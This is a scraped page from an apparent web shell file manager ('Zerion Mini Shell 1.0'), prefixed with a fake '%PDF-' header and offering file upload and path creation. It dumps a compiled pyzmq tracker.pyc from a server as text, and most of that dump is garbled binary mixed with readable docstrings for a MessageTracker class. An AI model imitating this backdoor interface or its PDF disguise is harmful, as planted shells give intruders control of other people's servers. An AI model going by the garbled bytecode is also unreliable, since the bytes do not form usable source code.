%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib64/python2.7/site-packages/zmq/sugar/
Upload File :
Create Path :
Current File : //usr/lib64/python2.7/site-packages/zmq/sugar/tracker.pyc

�
+�{Wc@s�dZddlZyddlmZWn'eefk
rOddlmZnXddlmZddl	m
Z
defd��YZdgZ
dS(	s(Tracker for zero-copy messages with 0MQ.i����N(t_Event(tEvent(tNotDone(tFrametMessageTrackercBs>eZdZdZdZd�Zed��Zdd�Z	RS(s�MessageTracker(*towatch)

    A class for tracking if 0MQ is done using one or more messages.

    When you send a 0MQ message, it is not sent immediately. The 0MQ IO thread
    sends the message at some later time. Often you want to know when 0MQ has
    actually sent the message though. This is complicated by the fact that
    a single 0MQ message can be sent multiple times using different sockets.
    This class allows you to track all of the 0MQ usages of a message.

    Parameters
    ----------
    towatch : Event, MessageTracker, Message instances.
        This objects to track. This class can track the low-level
        Events used by the Message class, other MessageTrackers or
        actual Messages.
    cGs�t�|_t�|_x�|D]�}t|t�rG|jj|�qt|t�ri|jj|�qt|t�r�|js�t	d��n|jj|j�qt
dt|���qWdS(s~MessageTracker(*towatch)

        Create a message tracker to track a set of mesages.

        Parameters
        ----------
        *towatch : tuple of Event, MessageTracker, Message instances.
            This list of objects to track. This class can track the low-level
            Events used by the Message class, other MessageTrackers or 
            actual Messages.
        sNot a tracked messages(Require Events or Message Frames, not %sN(tsetteventstpeerst
isinstanceRtaddRRttrackert
ValueErrort	TypeErrorttype(tselfttowatchtobj((s7/usr/lib64/python2.7/site-packages/zmq/sugar/tracker.pyt__init__'s
	cCsIx!|jD]}|j�s
tSq
Wx|jD]}|js.tSq.WtS(s9Is 0MQ completely done with the message(s) being tracked?(Rtis_settFalseRtdonetTrue(Rtevttpm((s7/usr/lib64/python2.7/site-packages/zmq/sugar/tracker.pyRAs	i����cCstj�}|tks$|dkr-d}n|}t}xk|jD]`}|dkr^t�n|jd|�|j�s�t�ntj�}|||8}|}qCWxV|jD]K}|dkr�t�n|jd|�tj�}|||8}|}q�WdS(	s�mt.wait(timeout=-1)

        Wait for 0MQ to be done with the message or until `timeout`.

        Parameters
        ----------
        timeout : float [default: -1, wait forever]
            Maximum time in (s) to wait before raising NotDone.

        Returns
        -------
        None
            if done before `timeout`
        
        Raises
        ------
        NotDone
            if `timeout` reached before I am done.
        iiiittimeoutNi�Qi�:	(ttimeRRRtwaitRR(RRttict	remainingRRttoctpeer((s7/usr/lib64/python2.7/site-packages/zmq/sugar/tracker.pyRLs*			
	N(
t__name__t
__module__t__doc__tNoneRRRtpropertyRR(((s7/usr/lib64/python2.7/site-packages/zmq/sugar/tracker.pyRs	(R!Rt	threadingRRtImportErrortAttributeErrort	zmq.errorRtzmq.backendRtobjectRt__all__(((s7/usr/lib64/python2.7/site-packages/zmq/sugar/tracker.pyt<module>sf

Zerion Mini Shell 1.0